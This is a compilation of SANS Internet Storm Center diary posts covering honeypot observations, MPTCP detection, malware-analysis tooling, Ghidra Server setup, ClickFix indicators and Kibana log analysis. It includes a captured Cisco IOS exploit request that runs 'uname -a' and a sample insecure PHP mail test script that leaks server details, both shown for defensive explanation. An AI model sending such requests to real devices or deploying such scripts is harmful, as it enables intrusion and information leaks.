This morning, I was browsing our honeypot data for any new and existing PHP exploit attempts. Instead, I first ran into some GeoServer exploits, but found them to be too boring to write up. This Cisco IOS exploit attempt was a bit more interesting. Still nothing new. I suspect this is for CVE-2023-20198.

POST /%77ebui_wsma_https HTTP/1.1
Host: [redacted]:8000
User-Agent: RootEvidence/1.0
Content-Length: 720
Connection: close
Content-Type: text/xml; charset=UTF-8
Opt-Out-Email: re-abuse@rootevidence.com
Opt-Out-Url: https://www.rootevidence.com/scanners
Accept-Encoding: gzip

<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>uname -a</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>

I highlighted the actual command (uname -a) above. But also interesting is the use of a "Opt-Out-Email" and "Opt-Out-Url" header. Rootevidence is yet another exposure/vulnerability management Platform. I couldn't find a standard that suggests them, and I think it is the first time I've seen them. Rootevidence has been using them since December last year, but this is the first time I noticed them.

Oh, and they are doing URL encoding for the "w" in the URL. I bet there are some stupid WAFs that fall for that.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

One of the early web application vulnerabilities I remember was CVE-2000-0411 [CVE]. This was a simple vulnerability in a CGI-bin script used to send e-mail. The vulnerability was pretty straightforward: Adding additional parameters to the URL leaked environment variables. Other vulnerabilities allowed setting the "To" address and were heavily abused by spammers. And if parameters were passed directly to the sendmail binary, similar vulnerabilities could allow arbitrary code execution.

Today, I noticed a slight resurgence in scans targeting e-mail scripts on our honeypots. Today, there are numerous scripts like the old "formail" scripts, and it is hard to link a specific vulnerability to any of these scans. But my main suspect is spammers looking for webforms that allow setting arbitrary "To" headers. The URLs I am seeing:

"/sendmail.php"
"/test-mail.php"
"/testemail.php"
"/config/mail_config.php"
"/mail_config.php"
"/email-test.php"
"/mailtest.php"

In particular, the "Test" part of the filename suggests that the attacker is not looking for production scripts, but for test scripts left behind during development. This, along with the requests for credential/secret files that top our "Leaderboard," points to a more fundamental issue: Code hygiene. Do not leave behind development artifacts that should never have reached a live website.

For example, some excerpts from a random "mailtest.php" script that came back in a Google search [mailtest]:

<?php

    /*
    DONT FORGET TO DELETE THIS SCRIPT WHEN FINISHED!
    */

    $server = array( 
        'HTTP_HOST', 'SERVER_NAME', 'SERVER_ADDR', 'SERVER_PORT',
         'SERVER_ADMIN', 'SERVER_SIGNATURE', 'SERVER_SOFTWARE', 
        'REMOTE_ADDR', 'DOCUMENT_ROOT', 'REQUEST_URI', 
        'SCRIPT_NAME', 'SCRIPT_FILENAME',
    );
    
    $to      = ( isset( $_GET['email'] ) ? $_GET['email'] : FALSE );
    $subject = 'Mail Test Successful for ' . $_SERVER['HTTP_HOST'];
    $message = '';

???????    foreach ( $server as $s )
    {
        $message .= sprintf( '%s: %s', $s, $_SERVER[$s] ) . PHP_EOL;
    };

   $success = mail( $to, $subject, $message, $headers );

The comment at the top says it all: This is not meant for production use, and even on a development site, it should likely be deployed only briefly for debugging. The script takes any "To" address from the "email" GET parameter and exfiltrates/displays part of the server configuration. It can be useful to scan your own hosts for some of these URLs as an additional control, but you really want to catch these issues during application deployment.

[CVE] https://nvd.nist.gov/vuln/detail/cve-2000-0411
[mailtest] https://gist.github.com/Porrapat/60ed7411d933122fc481

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last week, an often-ignored TCP option, introduced in 2020, made the news due to a new vulnerability in Linux's implementation (RFC 8684,  CVE-2026-98432)

Instead of looking at the vulnerability, I am using this diary to talk a bit about multipath TCP (MPTCP) and how you may see it used in your network.

What is MPTCP?

Traditionally, TCP is a connection-oriented protocol. Connections are established between a client and server, and host IP addresses are not expected to change for a specific connection. This restriction to a specific path does not always match modern system architecture. For example, mobile devices may switch from a local WIFI network to a cellular network at any time. Having to re-establish TCP connections may break applications. At the same time, servers often have a hard time "filling" high-bandwidth links using a single TCP connection due to limits on Window Size and the sequence number range [RFC 6182]. MPTCP is supposed to solve these problems by allowing connections to be split and handed over between different IP addresses.

The only widely used implementation I have observed is iOS/iPadOS. In this case, IPv4 connections to Apple (17.0.0.0/8) often utilize MPTCP [Apple]. MPTCP was initially used for Siri, and later for other services like Apple Music.

Two versions of MPTCP are currently defined and used: v0 and v1. At first, 

MPTCP Options

The MPTCP Option (0x1e, 30) is followed by a byte containing 4 bits indicating the subtype and 4 bits indicating the version (0 or 1).

+----------------+--------------+----------------+----------------+
|   TCP Option   | Option Length|Subtype| Version|     Flags      |
+----------------+--------------+----------------+----------------+
|      30        | variable     |       | 0 or 1 |                |
+----------------+--------------+----------------+----------------+

MP_CAPABLE (subtype 0): Indicates MPTCP support. Both sides must include it in the TCP handshake for MPTCP support to be enabled. Each MP_CAPABLE option also carries an 8-byte key that will later be used to identify and authenticate the different sub-sessions.

MP_JOIN (subtype 1): A second TCP connection may join an initial connection using the MP_JOIN option. This connection will typically be initiated by the client, but may originate from a different IP address. The RFC does specifically allow the server to initiate the second (or additional) connection. The RFC states: "It is permissible for either host in a connection to initiate the creation of a new subflow, but it is expected that this will normally be the original connection initiator." Ports should be the same, but do not have to be. Of course, this also accounts for common firewall rules. The web server will likely listen only on port 443, and the client's firewall will reject inbound SYN packets.

DSS (Data Sequence Signal, subtype 2): Each TCP connection which is part of MPTCP maintains its own sequence numbers, and acts just like any other "normal" TCP connection. To stitch the content of multiple connections together, the DSS option is used. It maps the respective's TCP sequence numbers to the sequence numbers of the combined connection.

ADD_ADDR/REMOVE_ADDR (subtypes 3, 4): these options are somewhat similar to MP_JOIN, but instead of actually setting up an additional connection, they advertise (or remove) additional addresses or ports that can be used.

MPTCP Detection

The best way to detect MPTCP is to look for TCP Option 30. Here are a few ways to do so:

Wireshark/tshark: Wireshark has a "mptcp" display filter keyword. As so often, Wireshark does make it easy.

tcpdump: There is no great way to match TCP options in tcpdump. But MPTCP packets, particularly SYN packets, tend to have large TCP headers, so a quick match on TCP header length can help. For example: 'tcp[12]>0xd0'

Suricata: Use the "tcp.hdr" keyword to inspect TCP options. The tricky part is that the option length isn't always the same. But there should be at least one MP_CAPABLE message that includes both the sender and receiver key, making this option 20 bytes long. The first three bytes are |1e 14 00| for version 0 or |1e 14 01| for version 1.

Snort: Snort does not have a keyword to inspect TCP options, and as far as I know, no way to filter for multipath TCP. The snort_decoder "experimental TCP option" alert only triggers on specific option types reserved for experimental use.

Zeek: By default, zeek does not log options, but it does offer the tcp_option and tcp_options events that can easily be used to log MPTCP. For example:

event tcp_option(c: connection, is_orig: bool, opt: count, optlen: count) {
      if ( opt == 30 ) {
            print(fmt("MPTCP between %s and %s", c$id$orig_h, c$id$resp_h));
      }
}

[Apple] https://support.apple.com/en-us/101905
[RFC8694] https://www.rfc-editor.org/info/rfc8684
[CVE-2026-98432] https://www.openwall.com/lists/oss-security/2026/10/30/1

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Recently, I had to extract embedded files from a set of OneNote files (extension .one).

My onedump.py tool can extract individual files, so I would have to run this many times. To avoid this, I added a new feature to my onedump.py tool: producing JSON data. Several of my tools already have such a feature: they produce JSON data with the content of their analysis results.

onedump's option --jsonoutput produces JSON output with the content of each embedded file found inside the OneNote file. And it can do this for many .one files in one go:

onedump.py --jsonoutput *.one

To write these files to disk you can use my myjson-filter.py tool, like this:

onedump.py --jsonoutput *.one | myjson-filter.py -W hashvir

This will write all the embedded files to disk, their name will be the sha256 hash of their content plus extension .vir (hashvir).

Didier Stevens
Senior handler
blog.DidierStevens.com

Wireshark Release Candidate 5.0.0 was published: soon we can expect a new major version of Wireshark.

Didier Stevens
Senior handler
blog.DidierStevens.com

YARA-X's 1.22.1 is a bugfix version, it brings 2 bugfixes.

Notice that there was also a release of YARA: 4.6.0, and that this release does not include the YARA-X improvement that adds built-in functions to read 64-bit integers: int64, int64be, uint64, and uint64be.

This shows that YARA-X has replaced YARA.

Didier Stevens
Senior handler
blog.DidierStevens.com

Building your malware analysis lab is a key point before playing with malware. Today, thanks to virtualization, it's convenient to play with snapshots in your lab. Start a new investigation from a clean snapshot and take some more when you reached a critical step. But, if you need to revert to a previous snapshot, all changes applied to the VM are... lost! Therefore, it's important to store important data outside the VM.

If you do malware analysis with Ghidra[1], your work lives in "projects". A project is a ".gpr" file and a ".rep" directory sitting on the disk of your analysis machine. Every renamed function, comment, structure and bookmark you added is stored there. And,as said before, hours of work can be lost if your VM has issues or you restart to a clean snapshot. When you create a new project in Ghidra, it always asks you if you want a "shared" or "non-shared" project:

Ghidra ships with a component that many people ignore: Ghidra Server. It is included in the standard distribution (no extra download, no licence) and turns your local projects into "shared projects" backed by a central repository. Here are some  reasons why it's useful to deploy one in yout lab:

• Persistence: revert your VMs as often as you want; the annotated programs are safe on the server.
• Versioning: each check-in creates a new version of the program with a comment. You can go back to a previous state of your analysis or compare versions (like a git repot)
• Multiple clients: start an analysis on one box and continue it on another one (another VM, your laptop, a colleague's workstation).
• Collaboration: several analysts can work on the same samples, with read-only, read/write or admin permissions per repository.
• Confidentiality: everything stays in your lab. No sample or customer-related binary is pushed to a third-party service. This matters when you handle files coming from incident response engagements.

From a requirements perspective, the server is lightweight. I'm running Ghidra 12.1.4 in an Ubuntu container on my Proxmox host, but any small Linux VM will do. Recommended specs:

• Small Linux VM or container, kept separate from your analysis VMs
• 2 x CPU, 4GB (enough for small teams, personal use)
• 8G of storage (may depends on your volume of samples!)
• JDK 21 or newer

To avoid incompatibility issues, use the same version of Ghida between the server and clients. Keep versions aligned!

Important remarks about networking:

• Ports TCP/13100 & TCP/13101 must be reachable from clients
• Clients must be able to resolve the hostname announced by the server

Don't forget that this server will host malicious pieces of code! Treat it as hosting live malware and keep it in your malware analysis lab network! Nothing is executed there, but the repositories contain the raw bytes of every sample you imported. Sounds legit but never expose it to the Internet. Ghidra Server is a Java RMI service.

The basic setup is pretty easy. There is no official container image, but the distribution contains everything needed to run the server as a regular service. First, create a dedicated account, unpack Ghidra and create the repositories directory:

# apt install openjdk-25-jre-headless unzip
# useradd -r -m -d /opt/ghidra -s /usr/sbin/nologin ghidra
# cd /opt && unzip ghidra_12.1.4_PUBLIC_*.zip
# ln -s ghidra_12.1.4_PUBLIC ghidra-current
# mkdir -p /opt/ghidra-repos && chown -R ghidra: /opt/ghidra-repos

The configuration is in "server/server.conf". Set the repositories directory, the account used to run the JVM, and the server parameters:

ghidra.repositories.dir=/opt/ghidra-repos
???????wrapper.app.account=ghidra

# Authentication: local Ghidra passwords, expire after 90 days
wrapper.app.parameter.1=-a0
wrapper.app.parameter.2=-e90

# Hostname announced to clients
wrapper.app.parameter.3=-ip
wrapper.app.parameter.4=ghidra.lab.local

# Repositories directory (must be the last parameter)
wrapper.app.parameter.5=${ghidra.repositories.dir}

The main authentication modes are "-a0" (passwords managed by the server), "-a2" (PKI with client certificates) and "-a4" (JAAS, to plug into LDAP or Active Directory). Leave anonymous access disabled. I'm using the local authentication scheme (-a0).

The "-ip" parameter is important: RMI returns this name to the clients, which reconnect to it on ports 13101 and 13102. If clients can't resolve it, they reach the server on the first port and then fail. If you want to bind the service to a single interface (your VPN interface, for example), add -i <address>.

Install the service, check it and create the users:

# /opt/ghidra-current/server/svrInstall
# systemctl status ghidraSvr
# ss -tlnp | grep -E '1310[0-2]'
# cd /opt/ghidra-current/server
# ./svrAdmin -add xavier
# ./svrAdmin -list -users

New users get the initial password "changeme" (yes, unsecure...) and must change it at first login. The svrAdmin commands are queued and processed by the running server within a few seconds.

Now, you are ready to use your brand now server! Repositories are created from the Ghidra client:

1. File > New Project... and select "Shared Project".
2. Enter the server name (the one used with -ip) and port 13100, then log in.
3. Click "Create Repository" and give it a name (mine is "MalwareLab"). The user who creates it becomes its administrator.
4. Choose a local directory and a project name. This is your local working copy.

Access for other analysts is managed from the client (Project > Edit Access List) or from the server, once the repository exists:

# ./svrAdmin -grant john +w MalwareLab    # +r read-only, +w read/write, +a admin

A shared project still creates a .gpr file and a .rep directory locally! That's expected: they contain the connection settings, a cache and your checked-out copies. Importing a binary does not send it to the server. It remains a private file until you right-click it and select "Add to Version Control...". From then on, the workflow is similar to any source control system:

• Check Out a program to work on it (exclusively or not).
• Check In your changes with a comment; each check-in creates a new version.
• Versioned files display a version icon in the project tree; files without it are still local only.
• Project > Project Info shows the server and repository you are connected to.

How to restore your project if your analysis VM has been reverted to a clean snapshot and the local project is gone? To get everything back, create a new Shared Project, connect to the server and select your existing repository (don't create a new one). The project tree is populated with all checked-in programs. If a file is still checked out by the old instance of the VM, right-click it, select View Checkouts and terminate the stale entry.

What the server can't give back:

• Private files never added to version control.
• Changes made after the last check-in.
• Your client settings (tool layouts, key bindings, script directories, extensions), stored in ~/.config/ghidra/.
• Your client certificate and key if you use PKI authentication. Back them up separately!

Before deploying your own server, you can have a look at the  ghidra-server project[2] that offers a free server for the RE community. But don't forget that, like any "cloud" service, you'll share your data! 

Happy reversing!

[1] https://github.com/nationalsecurityagency/ghidra
[2] https://ghidra-server.org

Xavier Mertens (@xme)
Senior ISC Handler | SANS Principal Instructor | Freelance Consultant
Xameco | PGP Key

Introduction

On Wednesday, 2026-10-28, I ran across a ClickFix campaign I haven't seen before. Like several other ClickFix campaigns, this one uses a fake Cloudflare verification page. It targets both macOS and Windows.

I don't yet have a name for this specific activity, but this diary shares some screenshots and indicators.

Unfortunately, I was unable to get the macOS or Windows malware distributed through this particular ClickFix campaign.

Screenshots of the Activity

Shown above: Fake verification page with ClickFix instructions when viewed on a Windows host.

When I ran the command on a Windows host, the server hosting the malware responded with a 403 Forbidden error, and I was unable to proceed any further.

Shown above: Fake verification page with ClickFix instructions when viewed on a macOS host.

When I ran the ClickFix command on a macOS host, the domain for the server hosting the malware did not resolve, and I was unable to proceed any further.

Shown above: The domain in the ClickFix command for macOS didn't resolve.

Indicators From the Activity on Wednesday, 2026-10-28

The following is the chain of URLs that I saw from the domain hosting the fake verification page, js-static[.]cfd:

• hxxps[:]//js-static[.]cfd/embed.js?v=24
• hxxps[:]//js-static[.]cfd/api/s/on?site=[information removed].com
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/api/s/tz
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/embed?site=[information removed].com&
  parent=https%3A%2F%2F[information removed].com&
  path=%2F&
  page_path=%2F&
  page_url=https%3A%2F%2F[information removed].com%2F&
  q=&
  lang=en&
  visit_id=410c7df1-ae6e-43a9-897f-541144bf0b7d
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/static/CF-Logo%201.png
• hxxps[:]//js-static[.]cfd/static/fonts/jetbrains-mono-600.woff2
• hxxps[:]//js-static[.]cfd/static/cf_dark_horizontal.png
• hxxps[:]//js-static[.]cfd/c.js?embed=__JNJ_4__&
  lp=%2F&
  pu=https%3A%2F%2F[information removed].com%2F&
  site=[information removed].com&
  parent=https%3A%2F%2F[information removed].com&
  path=%2F&
  page_path=%2F&
  q=&
  redirect=
• hxxps[:]//js-static[.]cfd/api/s/geo
• hxxps[:]//js-static[.]cfd/api/s/boot
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/api/s/ip
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/api/s/wait
• hxxps[:]//js-static[.]cfd/api/s/st
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/ip
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/wait
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/track/event
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit
• hxxps[:]//js-static[.]cfd/api/s/hit

URL from the ClickFix text seen on a macOS host (domain did not resolve on 2026-10-28):

• hxxps[:]//cf-id[.]com/?ray-id=nz0ovm2jq2g68i

URL from the ClickFix text seen on a Windows host (Returned 403 Forbidden response on 2026-10-28):

• hxxps[:]//api-com[.]cfd/7ge0w58tzzjsv9

Final Words

For the diary, I removed information on the legitimate but compromised web site that generated the ClickFix activity. However, we can pivot on js-static[.]cfd in URLscan to find several sites that will likely generate this traffic.

--
Bradley Duncan
brad [at] malware-traffic-analysis.net

Apple today released patches for 304 vulnerabilties. This number is still in line with prior Apple updates, and comes just about a month after the last apple update.

Noteworthy Issue:

CVE-2026-86950: This is an already exploited vulnerability in CoreGraphics, and was patched originally a month ago. This month's update delivers the corresponding patches for iOS 18.

No new vulnerability is marked as already exploited.

Other Interesting issues:

CVE-2026-86990: A malicious app may access the camera without user permissions.
CVE-2026-28864: A local attacker may gain access to user's Keychain items.

Apple Patch volume (number of CVEs patched) over time:

[This is a Guest Diary by Jeffray Spence, an ISC intern as part of the SANS.edu BACS program]

Around Here, we start our day with coffee, but our day does not begin until we have our data...So much data.  Where to even begin?

When approaching a massive dataset, such as those from a DShield SIEM Honeypot, the first step is to actually find something to analyze.  As for myself, I usually go looking for something that makes me go; "Huh."

Today we will be walking through a starting approach with Kibana Discover to search out embedded language preferences in webtraffic, then we will use this as a starting point for finding anomalous activity.

Find A Problem to Get Some Data

Inside of my DShield SIEM there are nearly a million records, so I approach by looking for a slightly smaller data carve with which to work which still represents the problem set:

Anyone with Elastic Kibana can perform this approach on their webtraffic data as long as the HTTP headers are provided.  Here, the logs are from my SANS Dshield Honeypot and the accompanying Dshield SIEM.  For those who desire to install this setup there are plenty of great resources out there with links at the end of this article [1] [2].

In slightly more than 3 weeks of observation the rasperry pi honeypot had transferred a Million Records into the Elastic SIEM.  These many records can prove very challenging when figuring out where to start, so it is helpful to know that even with no filtering applied on the Discover page the Field Statistics will give some fairly detailed metrics about what fields exist in the current Index.

On the Discover page in the upper right, I selected my index (here the index is “cowrie”) and without any filter applied I selected Field Statistics:

Calculating statistics ourselves is possible using ESQL and Stats, however this feature of Elastic makes gaining visibility much more obtainable at the onset.  We are immediately presented with a screen displaying all of the Documents broken down by Top Values which potentially gives us some valuable insight:

The resultant statistics show that in these 3 weeks my honeypot had generated 960,000 logs, but all of those are only within 4 rules.  Four is less than a 960,000 so this gives a more manageable starting dataset:

“Huh.”  This little raspberry PI has been humming away quietly all day and all night and only 4 rules have popped up.  I found this interesting.  With no filtering applied only 15,271 records triggered any rule?

This setup is a honeypot, so literally every record is suspicious.  So, what about the other 944,866 records which triggered no rules?

Today, we want a problem not a project, so we are going to use one of these rules to narrow down our traffic for analysis.

We have rule triggers for the Index page.  Boring.  Great for generating a large dataset, but this is not a very targeted approach.

Git Config is something I had previously analyzed, and this led me to discover malicious traffic attempting to scrape Git Config from internet hosts.  Neat, but not for today.

Fortinet Emulation, for those who don't know, has fairly recently gotten a lot of attention [3].
Only one detection so far in my honeypot, so for me that's just an outlier.  Interesting, but not much of a corpus.

Through the process of elimination, we are left with the Sonicwall Appliance Login Page rule.
Good representation over the problem space with 41 individual hosts logging in activity.  This could potentially demonstrate how an attack is conducted or give a clue as to who was conducting one.  Perfect because we are looking for regular and repeating attack attempts.  I selected these criteria as a Kibana filter.

Now to start digging.

Data Selection

Now that we have a smaller dataset to work within, we need to decide what we want to find.  After that we need to figure out how to actually find that.

This first approach is what I would NOT recommend One do:

Noticing here that every field statistic for all 157 records has One Distinct Value and only1 category under Distribution tells us these fields are ALL common to ALL records.  A field common to every record will have a unique value for each record. 

We don't want common, we want weird: the approach I will use is to flip it and look at Distribution 2 or higher.  This is Long tail analysis:

Here we see the Distinct values are now descending with the “sweet spot” between 2 and 6 so.  Not an exact criterion, but one that is practical for manual review.

Within these fields we have fields of interest:

When fields contain similar values, they may illustrate a relationship between the data represented.  Here the traffic triggering the Sonicwall Rule contains a relatively small subset of unique values.  The next step is to find something we cannot readily explain away; a simple exercise to conduct on the “tags”, “host.ip”, and “host.mac” fields.  The IP and MAC are going to be both interfaces of my Dshield Pi itself, while the Tags are going to be metadata about how the rules generate.  The “source.geo.continent_code” is not very useful in a Virtual Private Server (VPS) enabled world but may prove useful later.  This leaves 2 fields:

http.request.connection

"Close" and "close".  Most traffic parsing tools are going to convert these all to lowercase string, and thus never see this small difference.
.  No longer interesting.

http.request.mime_type

"utf-8" (the defacto choice) verses some interesting mime encoding...

Next was to break down what this mime encoding is saying: "GBK,utf-8;q=0.7,*;q=0.3"

This string is sent to a webserver as the Accept-Charset HTTP header.  Values of GBK,utf-8, and wildcard (*) are present.  The preference weights are specified as "q" (for “quality value” by convention).  Since the implicit maximum weight value is q=1.0, the simplified character set preferences are:

(GBK;q=1.0),(utf-8;q=0.7),(*;q=0.3)

I think of this as a preference for what character encoding to use: 
(Send me “GBK” 100% of the time, if not “utf-8” 70%, and if not Whatever 30%)

UTF-8 makes sense as does wildcard (*).  However, GBK is explicitly the extension of the “GB 2312” character set for Simplified Chinese characters.
"Huh."

Why do these requests explicitly state they greatly desire to transfer data to my Honeypot, which is not in China, using an exclusively Chinese character set?
I also apply this as a filter in Kibana to narrow our results to 8 Records:

 
Two issues are now present.  This dataset of 8 records is too narrow to work with, and also, we don’t actually care about the Sonicwall rule anymore now that we find some interesting traffic.  Next, we need to pull in some additional data for this mime type field.

Finding commonality

So my Elastic SIEM, the webhoneypot index is for Webserver Logs, and my cowrie index shares these fields.  Here the filter works for both.
At this point we are not interested in the “Sonicwall Appliance” filter anymore, so we remove it.  We are now using the “Mime Type” field to work out the language preferences and have 47 interesting records within the http.request.mime_type:

These records now represent every inbound connection attempt sending this exact same format string for the GBK Character set preferences.  There are 47 requests in total which send the identical preference header.  How can we use this header to find odd traffic in our data?

The problem set has not changed, only our dataset.  We repeat the same process of sorting the Distribution Field under the Field statistics section.

Following this Distribution Analysis process we see two User-Agents, which is interesting.
However, we also very clearly see there are two source.geo.region_name values:

“Beijing”, yeah, ok that makes sense. Beijing is in China… but “Ontario”?

"Huh".  People do move around, however, following a purely statistical analysis approach one would not anticipate that Canadian Cyber actors would greatly desire a Chinese Character set while targeting my American Honeypot.  This presents as an anomaly.

We add the source.geo.region_name: Ontario filter and observe there are now only 3 records:

At this point I exported these three records to Libre Office so I could look at them:

Modern VPS availability makes the Autonomous System (AS) number far more useful than an IP: AS-7456 is the system responsible for all three of these records.  
This field, “source.geo.as.number” will be our next field to analyze:

What’s Your Number?

We now set our new filter to be source.geo.as.number: 7456
We remove all other filters and follow the same “Distribution Analysis” as before.  We immediately find the same pattern:

There is again a language preference but this time in a different field:
The http.request.accept-language encoding for all 31 requests from AS-7456 read as either:

zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.628 at (90.3%)
OR
zh-CN,zh;q=0.83 at (9.7%)

"zh-CN" means "Mainland Chinese" Language preference.
"zh" just means any version of Chinese.

For all 121 records observed for this AS there were 31 alternative language preference specified.
This is an optional header, however the indication of a desired alternate language preference can narrow down our search scope considerably.  

I applied the filter as:

http.request.accept-language: "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6" OR http.request.accept-language: "zh-CN,zh;q=0.8"

At this point I exported the 31 records for this filter:

I took these records over to LibreOffice as a Tab Separated Value sheet so I could have a look at it.
When I did the pattern was unmistakable:

These are all regularly scanning internet hosts for the same set of endpoints all from the same Canadian based AS-7456:

165[.]154.36.91
165[.]154.29.93
165[.]154.11.140
165[.]154.120.226
165[.]154.33.72
165[.]154.182.221

Values for http.request.body.content were all consistent repetitions of:

/cgi-bin/login
/config.json
/sitemap.xml
/robots.txt
/favicon.ico
/

There is no attempt being made to conceal the fact that these user agents strongly desire Chinese character sets in the HTTP Language preferences while actively targeting internet facing endpoints.  We have discovered an obviously automated campaign.

Interestingly, tzrhxln[.]cn (165[.]154.29.93) is a suspect high entropy domain.
Similar domains also appear in this dataset as extracted with this ESQL Query:

source.domain values:
  leheedu[.]cn
  mail.,brossy.com[.]cn
  mail.brossy.com[.]cn
  tzrhxln[.]cn

All of these domains operate from AS-7456, have strong CN presence, and are actively scanning.

One Conclusion

This demonstration of a simple approach to Elastic Discovery using optional HTTP language preferences and mime types is only an example.  We have found high entropy domains, bot scanners, and plenty of nefarious intent, however the most interesting aspect in my view is the approach we have taken.  Expanding upon this could yield automation.

Typically, when analyzing datasets in a SIEM it is common to look for all the fields that match a correlation.  In this approach we attempt to match the least commonality required to gain a single insight into what hosts may be related and then repeat the data acquisition process with this selected feature.  This is featuring selection, and because we are purposely iterating upon the selection with intent, we are functionally engaged in rudimentary feature engineering.

Using the embedded language preferences in webtraffic as a starting point we were able to trim a massive corpus into a manageable selection.  We have also built upon some understanding of how these language headers appear in logs when browsing, so we could always simply begin selecting those features as a starting point in the future when processing SIEM data.

Just a simple example for today, but we eventually found what we were looking for.  Also, most importantly, the more efficient we are in the search, then the more time we have for our coffee.

[1] https://github.com/dshield-isc/dshield
[2] https://github.com/bruneaug/DShield-SIEM
[3] https://www.fortinet.com/blog/psirt-blogs/analysis-of-reported-credential-compromise-of-fortigate-devices
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu